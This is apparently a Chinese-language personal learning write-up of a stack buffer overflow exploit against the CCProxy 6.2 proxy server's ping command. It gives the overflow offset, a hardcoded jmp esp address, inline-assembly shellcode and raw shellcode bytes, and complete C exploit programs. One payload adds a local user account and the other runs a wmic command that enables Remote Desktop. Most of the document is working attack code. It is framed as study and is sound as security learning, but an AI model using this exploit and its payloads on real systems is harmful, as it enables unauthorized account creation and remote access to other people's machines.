CCPROXY漏洞利用
CCProxy是一款非常流行的下载量最大的的国产代理服务器软件,其CCProxy 6.2版本存在一个栈溢出漏洞,可以通过此漏洞进行shellcode攻击,以下是学习过程的一个小记录吧 : )
1.找到并定位溢出点
- 使用ping命令加一个超长的字符串加一个主机名,代理端会返回Host not found。
- 当输入的字符串足够长时(比如2000个a),软件就会溢出奔溃,通过二分法尝试,发现ping后最多接1009个字符,第1010字符开始溢出,并且前四字节无用,如下图,当输入1013个a字符时,此时就有一个字符a溢出到了EIP的地址中
- 然后使用OD观察EIP被溢出填充的过程,首先使用查找找到Host not found所在的语句,然后设置内存访问断点(硬件执行断点断不下来)。
- 然后执行ping加超长字符串(比如2000个字符a),成功在Host not found处断了下来。然后单部跳过往下执行到retn 0xc 指令,此时将要EIP = [ESP],ESP = ESP + 0xc+0x4。
- 执行retn 0xc指令,果然如分析的那样,所以我们只需要将堆栈段0x011766F8填充成我们希望执行的EIP指令地址即可,这里使用jmp esp,所以我们希望填充0x7FFA4512,于是就会执行jmp esp,紧接着就会跳转到0x01176700,我们只需要将我们的shell code填到此处就可以。
2.完成基本的添加用户Shellcode
- 然后开始编写shellcode,其实shellcode非常简单,想要在目标主机上创建一个用户,命令就是system(“net user 用户名/add”),该函数就在windows的msvsrt.dll动态链接库中,于是我们编写如下一份C语言代码。
#include <windows.h>
#include <winbase.h>
void main()
{
LoadLibrary("msvcrt.dll");
__asm {
push ebp ;保存ebp,esp-4
mov ebp,esp ;给ebp赋新值,将作为局部变量的基指针
xor edi,edi ;
push edi ;压入0,esp-4,
;作用是构造字符串的结尾\0字符
sub esp,0ch
mov byte ptr [ebp-10h],6eh;n
mov byte ptr [ebp-0fh],65h;e
mov byte ptr [ebp-0eh],74h;t
mov byte ptr [ebp-0dh],20h;空格
mov byte ptr [ebp-0ch],75h;u
mov byte ptr [ebp-0bh],73h;s
mov byte ptr [ebp-0ah],65h;e
mov byte ptr [ebp-09h],72h;r
mov byte ptr [ebp-08h],20h;空格
mov byte ptr [ebp-07h],61h;a
mov byte ptr [ebp-06h],20h;空格
mov byte ptr [ebp-05h],2fh;/
mov byte ptr [ebp-04h],61h;a
mov byte ptr [ebp-03h],64h;d
mov byte ptr [ebp-02h],64h;d
lea eax,[ebp-10h] ;
push eax ;串地址作为参数入栈
mov eax, 0x77bf93c7;
call eax ;调用system
}
}
- 然后反汇编得到汇编代码,然后查看查看汇编代码对应的机器码(使用memory窗口查看),然后保存我们得到的shellcode,为后续使用做准备。
- 执行完上述程序后可以发现成功的添加了一个a用户。
3.利用缓冲区溢出执行ShellCode
1.我们首先需要执行jmp esp指令,所以我们填入的1013~1016字节应该填入FFA4512,然后就会执行JMP ESP,然后就会跳转到第1013+0xc+0x4字节处处执行,但是我们的shellcode需要放在第5个字节到1012个字节之间(因为CCPROXY有一个字符串覆盖操作,会将第5个字节到1012字节复制到1013+0xc+0x4字节处),由于shellcode许多都是不可见字符,不能手动执行,于是我们编写如下的C语言代码(最好使用cpp,否则会有一堆错误)。
#include <stdio.h>
#include <winsock2.h>
#include <MSWSock.h>
#include <Windows.h>
#pragma comment(lib, "ws2_32")
#define WIN32_LEAN_AND_MEAN
#define MAX_LEN 2000
char shell[] ={ 0x55,0x8B,0xEC,0x33,0xFF,0x57,0x83,0xEC,0x0C,0xC6,0x45,0xF0,0x6E,0xC6,0x45,0xF1,0x65,0xC6,0x45,0xF2,0x74,0xC6,0x45,0xF3,0x20,0xC6,0x45,0xF4,0x75,0xC6,0x45,0xF5,0x73,0xC6,0x45,0xF6,0x65,0xC6,0x45,0xF7,0x72,0xC6,0x45,0xF8,0x20,0xC6,0x45,0xF9,0x61,0xC6,0x45,0xFA,0x20,0xC6,0x45,0xFB,0x2F,0xC6,0x45,0xFC,0x61,0xC6,0x45,0xFD,0x64,0xC6,0x45,0xFE,0x64,0x8D,0x45,0xF0,0x50,0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0, 0};
int main(int argc, char* argv[])
{
WSADATA ws; // 初始化 ws
int ret = WSAStartup(MAKEWORD(2, 2), &ws);
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(23);
sa.sin_addr.s_addr = inet_addr("127.0.0.1");
char buf[MAX_LEN];
char buf1[1024];
buf[0]='p';buf[1]='i';buf[2]='n';buf[3]='g';buf[4]=' ';
// 插入Shellcode
int l = strlen(shell);
//前4个字节为无用字节
buf[5]=buf[6]=buf[7]=buf[8]='a';
for(int j = 9; j < 9+l; j++){
buf[j] = shell[j-9];
}
//开始填入shellcode
//该处代码自己研究;
//到溢出点为止都填入无用字节
for(int i=9+l;i<1012+5;i++)
buf[i]='a';
//在溢出点处填入 jump esp 指令的地址该处代码自己研究
buf[1017] = 0x12;
buf[1018] = 0x45;
buf[1019] = 0xFA;
buf[1020] = 0x7F;
//7FFA4512
//继续填充无用字节
for(i=1021;i<1998;i++)
buf[i]='a';
//命令结束加上\r\n
buf[1998]='\r';buf[1999]='\n';
// 创建 socket
SOCKET sc = WSASocket(AF_INET, SOCK_STREAM,IPPROTO_TCP, NULL, 0, 0); //连接到服务器
ret = connect(sc, (const sockaddr*)&sa, sizeof(sa));
//接收服务器端的回答
recv(sc,buf1,1024,0);
// 发送攻击数据
ret = send(sc, buf, 2000, 0);
closesocket(sc);
WSACleanup();
return 0;
}
- 然后运行CCPROXY,再执行刚刚编写的代码,发现CCPROXY成功溢出奔溃,并且计算成功添加了一个账户a(事先已经删除账户a的情况下)
- 然后使用OD再Host not found处设置断点分析整个过程,可以看到此时esp处存放着JMP ESP指令地址,并且shellcode恰好就好[esp+0xc+0x4]的位置(shellcode是从5~1013字节复制过来的)。
- 执行retn 0xc指令,成功跳转到JMP ESP指令,并且此时ESP = ESP+0xc+0x4
- 然后通过JMP ESP就成功跳转到了shellcode,完成添加用户的操作。
4.实现一个具备远程连接控制功能的ShellCode
- 要实现远程连接,我们可以使用vmic命令完成,也是通过system()函数进行运行DOC命令,我们需要使用的wmic命令如下:
开启远程桌面控制:wmic PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1
关闭远程桌面控制:wmic PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 0
- 然后我们就只需要将命令转化为硬编码,写入到汇编代码中即可,如下就是上述命令转化为ASCII码值的结果,共87个字符,所以我们需要从ebp-0x58开始填写。
0x77,0x6d,0x69,0x63,0x20,0x50,0x41,0x54,0x48,0x20,0x77,0x69,0x6e,0x33,0x32,0x5f,0x74,0x65,0x72,0x6d,0x69,0x6e,0x61,0x6c,0x73,0x65,0x72,0x76,0x69,0x63,0x65,0x73,0x65,0x74,0x74,0x69,0x6e,0x67,0x20,0x57,0x48,0x45,0x52,0x45,0x20,0x28,0x5f,0x5f,0x43,0x6c,0x61,0x73,0x73,0x21,0x3d,0x22,0x22,0x29,0x20,0x43,0x41,0x4c,0x4c,0x20,0x53,0x65,0x74,0x41,0x6c,0x6c,0x6f,0x77,0x54,0x53,0x43,0x6f,0x6e,0x6e,0x65,0x63,0x74,0x69,0x6f,0x6e,0x73,0x20,0x31
- 然后修改shellcode,修改为我们上述的shellcode,注意需要抬高栈顶,否则装不下shellcode。
#include <windows.h>
#include <winbase.h>
void main()
{
LoadLibrary("msvcrt.dll");
__asm {
push ebp ;保存ebp,esp-4
mov ebp,esp ;给ebp赋新值,将作为局部变量的基指针
xor edi,edi ;
push edi ;压入0,esp-4,
;作用是构造字符串的结尾\0字符
sub esp,60h
mov byte ptr ss:[ebp - 0x58], 0x77
mov byte ptr ss:[ebp - 0x57], 0x6d
mov byte ptr ss:[ebp - 0x56], 0x69
mov byte ptr ss:[ebp - 0x55], 0x63
mov byte ptr ss:[ebp - 0x54], 0x20
mov byte ptr ss:[ebp - 0x53], 0x50
mov byte ptr ss:[ebp - 0x52], 0x41
mov byte ptr ss:[ebp - 0x51], 0x54
mov byte ptr ss:[ebp - 0x50], 0x48
mov byte ptr ss:[ebp - 0x4f], 0x20
mov byte ptr ss:[ebp - 0x4e], 0x77
mov byte ptr ss:[ebp - 0x4d], 0x69
mov byte ptr ss:[ebp - 0x4c], 0x6e
mov byte ptr ss:[ebp - 0x4b], 0x33
mov byte ptr ss:[ebp - 0x4a], 0x32
mov byte ptr ss:[ebp - 0x49], 0x5f
mov byte ptr ss:[ebp - 0x48], 0x74
mov byte ptr ss:[ebp - 0x47], 0x65
mov byte ptr ss:[ebp - 0x46], 0x72
mov byte ptr ss:[ebp - 0x45], 0x6d
mov byte ptr ss:[ebp - 0x44], 0x69
mov byte ptr ss:[ebp - 0x43], 0x6e
mov byte ptr ss:[ebp - 0x42], 0x61
mov byte ptr ss:[ebp - 0x41], 0x6c
mov byte ptr ss:[ebp - 0x40], 0x73
mov byte ptr ss:[ebp - 0x3f], 0x65
mov byte ptr ss:[ebp - 0x3e], 0x72
mov byte ptr ss:[ebp - 0x3d], 0x76
mov byte ptr ss:[ebp - 0x3c], 0x69
mov byte ptr ss:[ebp - 0x3b], 0x63
mov byte ptr ss:[ebp - 0x3a], 0x65
mov byte ptr ss:[ebp - 0x39], 0x73
mov byte ptr ss:[ebp - 0x38], 0x65
mov byte ptr ss:[ebp - 0x37], 0x74
mov byte ptr ss:[ebp - 0x36], 0x74
mov byte ptr ss:[ebp - 0x35], 0x69
mov byte ptr ss:[ebp - 0x34], 0x6e
mov byte ptr ss:[ebp - 0x33], 0x67
mov byte ptr ss:[ebp - 0x32], 0x20
mov byte ptr ss:[ebp - 0x31], 0x57
mov byte ptr ss:[ebp - 0x30], 0x48
mov byte ptr ss:[ebp - 0x2f], 0x45
mov byte ptr ss:[ebp - 0x2e], 0x52
mov byte ptr ss:[ebp - 0x2d], 0x45
mov byte ptr ss:[ebp - 0x2c], 0x20
mov byte ptr ss:[ebp - 0x2b], 0x28
mov byte ptr ss:[ebp - 0x2a], 0x5f
mov byte ptr ss:[ebp - 0x29], 0x5f
mov byte ptr ss:[ebp - 0x28], 0x43
mov byte ptr ss:[ebp - 0x27], 0x6c
mov byte ptr ss:[ebp - 0x26], 0x61
mov byte ptr ss:[ebp - 0x25], 0x73
mov byte ptr ss:[ebp - 0x24], 0x73
mov byte ptr ss:[ebp - 0x23], 0x21
mov byte ptr ss:[ebp - 0x22], 0x3d
mov byte ptr ss:[ebp - 0x21], 0x22
mov byte ptr ss:[ebp - 0x20], 0x22
mov byte ptr ss:[ebp - 0x1f], 0x29
mov byte ptr ss:[ebp - 0x1e], 0x20
mov byte ptr ss:[ebp - 0x1d], 0x43
mov byte ptr ss:[ebp - 0x1c], 0x41
mov byte ptr ss:[ebp - 0x1b], 0x4c
mov byte ptr ss:[ebp - 0x1a], 0x4c
mov byte ptr ss:[ebp - 0x19], 0x20
mov byte ptr ss:[ebp - 0x18], 0x53
mov byte ptr ss:[ebp - 0x17], 0x65
mov byte ptr ss:[ebp - 0x16], 0x74
mov byte ptr ss:[ebp - 0x15], 0x41
mov byte ptr ss:[ebp - 0x14], 0x6c
mov byte ptr ss:[ebp - 0x13], 0x6c
mov byte ptr ss:[ebp - 0x12], 0x6f
mov byte ptr ss:[ebp - 0x11], 0x77
mov byte ptr ss:[ebp - 0x10], 0x54
mov byte ptr ss:[ebp - 0xf], 0x53
mov byte ptr ss:[ebp - 0xe], 0x43
mov byte ptr ss:[ebp - 0xd], 0x6f
mov byte ptr ss:[ebp - 0xc], 0x6e
mov byte ptr ss:[ebp - 0xb], 0x6e
mov byte ptr ss:[ebp - 0xa], 0x65
mov byte ptr ss:[ebp - 0x9], 0x63
mov byte ptr ss:[ebp - 0x8], 0x74
mov byte ptr ss:[ebp - 0x7], 0x69
mov byte ptr ss:[ebp - 0x6], 0x6f
mov byte ptr ss:[ebp - 0x5], 0x6e
mov byte ptr ss:[ebp - 0x4], 0x73
mov byte ptr ss:[ebp - 0x3], 0x20
mov byte ptr ss:[ebp - 0x2], 0x31
lea eax,[ebp-58h] ;
push eax ;串地址作为参数入栈
mov eax, 0x77bf93c7;
call eax ;调用system
}
}
- 获得汇编机器码,然后调式状态下反汇编,获取汇编代码。
55 8B EC 33 FF 57 83 EC 60 36
C6 45 A8 77 36 C6 45 A9 6D 36
C6 45 AA 69 36 C6 45 AB 63 36
C6 45 AC 20 36 C6 45 AD 50 36
C6 45 AE 41 36 C6 45 AF 54 36
C6 45 B0 48 36 C6 45 B1 20 36
C6 45 B2 77 36 C6 45 B3 69 36
C6 45 B4 6E 36 C6 45 B5 33 36
C6 45 B6 32 36 C6 45 B7 5F 36
C6 45 B8 74 36 C6 45 B9 65 36
C6 45 BA 72 36 C6 45 BB 6D 36
C6 45 BC 69 36 C6 45 BD 6E 36
C6 45 BE 61 36 C6 45 BF 6C 36
C6 45 C0 73 36 C6 45 C1 65 36
C6 45 C2 72 36 C6 45 C3 76 36
C6 45 C4 69 36 C6 45 C5 63 36
C6 45 C6 65 36 C6 45 C7 73 36
C6 45 C8 65 36 C6 45 C9 74 36
C6 45 CA 74 36 C6 45 CB 69 36
C6 45 CC 6E 36 C6 45 CD 67 36
C6 45 CE 20 36 C6 45 CF 57 36
C6 45 D0 48 36 C6 45 D1 45 36
C6 45 D2 52 36 C6 45 D3 45 36
C6 45 D4 20 36 C6 45 D5 28 36
C6 45 D6 5F 36 C6 45 D7 5F 36
C6 45 D8 43 36 C6 45 D9 6C 36
C6 45 DA 61 36 C6 45 DB 73 36
C6 45 DC 73 36 C6 45 DD 21 36
C6 45 DE 3D 36 C6 45 DF 22 36
C6 45 E0 22 36 C6 45 E1 29 36
C6 45 E2 20 36 C6 45 E3 43 36
C6 45 E4 41 36 C6 45 E5 4C 36
C6 45 E6 4C 36 C6 45 E7 20 36
C6 45 E8 53 36 C6 45 E9 65 36
C6 45 EA 74 36 C6 45 EB 41 36
C6 45 EC 6C 36 C6 45 ED 6C 36
C6 45 EE 6F 36 C6 45 EF 77 36
C6 45 F0 54 36 C6 45 F1 53 36
C6 45 F2 43 36 C6 45 F3 6F 36
C6 45 F4 6E 36 C6 45 F5 6E 36
C6 45 F6 65 36 C6 45 F7 63 36
C6 45 F8 74 36 C6 45 F9 69 36
C6 45 FA 6F 36 C6 45 FB 6E 36
C6 45 FC 73 36 C6 45 FD 20 36
C6 45 FE 31 8D 45 A8 50 B8 C7
93 BF 77 FF D0
- 然后修改注入程序的shell部分,其余代码部分同上。
#include <stdio.h>
#include <winsock2.h>
#include <MSWSock.h>
#include <Windows.h>
#pragma comment(lib, "ws2_32")
#define WIN32_LEAN_AND_MEAN
#define MAX_LEN 2000
char shell[] ={
0x55,0x8B,0xEC,0x33,0xFF,0x57,0x83,0xEC,
0x60,0x36,0xC6,0x45,0xA8,0x77,0x36,0xC6,
0x45,0xA9,0x6D,0x36,0xC6,0x45,0xAA,0x69,
0x36,0xC6,0x45,0xAB,0x63,0x36,0xC6,0x45,
0xAC,0x20,0x36,0xC6,0x45,0xAD,0x50,0x36,
0xC6,0x45,0xAE,0x41,0x36,0xC6,0x45,0xAF,
0x54,0x36,0xC6,0x45,0xB0,0x48,0x36,0xC6,
0x45,0xB1,0x20,0x36,0xC6,0x45,0xB2,0x77,
0x36,0xC6,0x45,0xB3,0x69,0x36,0xC6,0x45,
0xB4,0x6E,0x36,0xC6,0x45,0xB5,0x33,0x36,
0xC6,0x45,0xB6,0x32,0x36,0xC6,0x45,0xB7,
0x5F,0x36,0xC6,0x45,0xB8,0x74,0x36,0xC6,
0x45,0xB9,0x65,0x36,0xC6,0x45,0xBA,0x72,
0x36,0xC6,0x45,0xBB,0x6D,0x36,0xC6,0x45,
0xBC,0x69,0x36,0xC6,0x45,0xBD,0x6E,0x36,
0xC6,0x45,0xBE,0x61,0x36,0xC6,0x45,0xBF,
0x6C,0x36,0xC6,0x45,0xC0,0x73,0x36,0xC6,
0x45,0xC1,0x65,0x36,0xC6,0x45,0xC2,0x72,
0x36,0xC6,0x45,0xC3,0x76,0x36,0xC6,0x45,
0xC4,0x69,0x36,0xC6,0x45,0xC5,0x63,0x36,
0xC6,0x45,0xC6,0x65,0x36,0xC6,0x45,0xC7,
0x73,0x36,0xC6,0x45,0xC8,0x65,0x36,0xC6,
0x45,0xC9,0x74,0x36,0xC6,0x45,0xCA,0x74,
0x36,0xC6,0x45,0xCB,0x69,0x36,0xC6,0x45,
0xCC,0x6E,0x36,0xC6,0x45,0xCD,0x67,0x36,
0xC6,0x45,0xCE,0x20,0x36,0xC6,0x45,0xCF,
0x57,0x36,0xC6,0x45,0xD0,0x48,0x36,0xC6,
0x45,0xD1,0x45,0x36,0xC6,0x45,0xD2,0x52,
0x36,0xC6,0x45,0xD3,0x45,0x36,0xC6,0x45,
0xD4,0x20,0x36,0xC6,0x45,0xD5,0x28,0x36,
0xC6,0x45,0xD6,0x5F,0x36,0xC6,0x45,0xD7,
0x5F,0x36,0xC6,0x45,0xD8,0x43,0x36,0xC6,
0x45,0xD9,0x6C,0x36,0xC6,0x45,0xDA,0x61,
0x36,0xC6,0x45,0xDB,0x73,0x36,0xC6,0x45,
0xDC,0x73,0x36,0xC6,0x45,0xDD,0x21,0x36,
0xC6,0x45,0xDE,0x3D,0x36,0xC6,0x45,0xDF,
0x22,0x36,0xC6,0x45,0xE0,0x22,0x36,0xC6,
0x45,0xE1,0x29,0x36,0xC6,0x45,0xE2,0x20,
0x36,0xC6,0x45,0xE3,0x43,0x36,0xC6,0x45,
0xE4,0x41,0x36,0xC6,0x45,0xE5,0x4C,0x36,
0xC6,0x45,0xE6,0x4C,0x36,0xC6,0x45,0xE7,
0x20,0x36,0xC6,0x45,0xE8,0x53,0x36,0xC6,
0x45,0xE9,0x65,0x36,0xC6,0x45,0xEA,0x74,
0x36,0xC6,0x45,0xEB,0x41,0x36,0xC6,0x45,
0xEC,0x6C,0x36,0xC6,0x45,0xED,0x6C,0x36,
0xC6,0x45,0xEE,0x6F,0x36,0xC6,0x45,0xEF,
0x77,0x36,0xC6,0x45,0xF0,0x54,0x36,0xC6,
0x45,0xF1,0x53,0x36,0xC6,0x45,0xF2,0x43,
0x36,0xC6,0x45,0xF3,0x6F,0x36,0xC6,0x45,
0xF4,0x6E,0x36,0xC6,0x45,0xF5,0x6E,0x36,
0xC6,0x45,0xF6,0x65,0x36,0xC6,0x45,0xF7,
0x63,0x36,0xC6,0x45,0xF8,0x74,0x36,0xC6,
0x45,0xF9,0x69,0x36,0xC6,0x45,0xFA,0x6F,
0x36,0xC6,0x45,0xFB,0x6E,0x36,0xC6,0x45,
0xFC,0x73,0x36,0xC6,0x45,0xFD,0x20,0x36,
0xC6,0x45,0xFE,0x31,0x8D,0x45,0xA8,0x50,
0xB8,0xC7,0x93,0xBF,0x77,0xFF,0xD0,0
};
int main(int argc, char* argv[])
{
WSADATA ws; // 初始化 ws
int ret = WSAStartup(MAKEWORD(2, 2), &ws);
struct sockaddr_in sa;
sa.sin_family = AF_INET;
sa.sin_port = htons(23);
sa.sin_addr.s_addr = inet_addr("127.0.0.1");
char buf[MAX_LEN];
char buf1[1024];
buf[0]='p';buf[1]='i';buf[2]='n';buf[3]='g';buf[4]=' ';
// 插入Shellcode
int l = strlen(shell);
//前4个字节为无用字节
buf[5]=buf[6]=buf[7]=buf[8]='a';
for(int j = 9; j < 9+l; j++){
buf[j] = shell[j-9];
}
//开始填入shellcode
//该处代码自己研究;
//到溢出点为止都填入无用字节
for(int i=9+l;i<1012+5;i++)
buf[i]='a';
//for(int i=9;i<1012+5;i++)
//buf[i]='a';
//在溢出点处填入 jump esp 指令的地址该处代码自己研究
buf[1017] = 0x12;
buf[1018] = 0x45;
buf[1019] = 0xFA;
buf[1020] = 0x7F;
//7FFA4512
//继续填充无用字节
for(i=1021;i<1998;i++)
buf[i]='a';
//命令结束加上\r\n
buf[1998]='\r';buf[1999]='\n';
// 创建 socket
SOCKET sc = WSASocket(AF_INET, SOCK_STREAM,IPPROTO_TCP, NULL, 0, 0); //连接到服务器
ret = connect(sc, (const sockaddr*)&sa, sizeof(sa));
//接收服务器端的回答
recv(sc,buf1,1024,0);
// 发送攻击数据
ret = send(sc, buf, 2000, 0);
closesocket(sc);
WSACleanup();
return 0;
}
- 然后将上述然后运行CCPROXY,再执行刚刚编写的代码,发现CCPROXY成功溢出奔溃,并且开启了远程服务。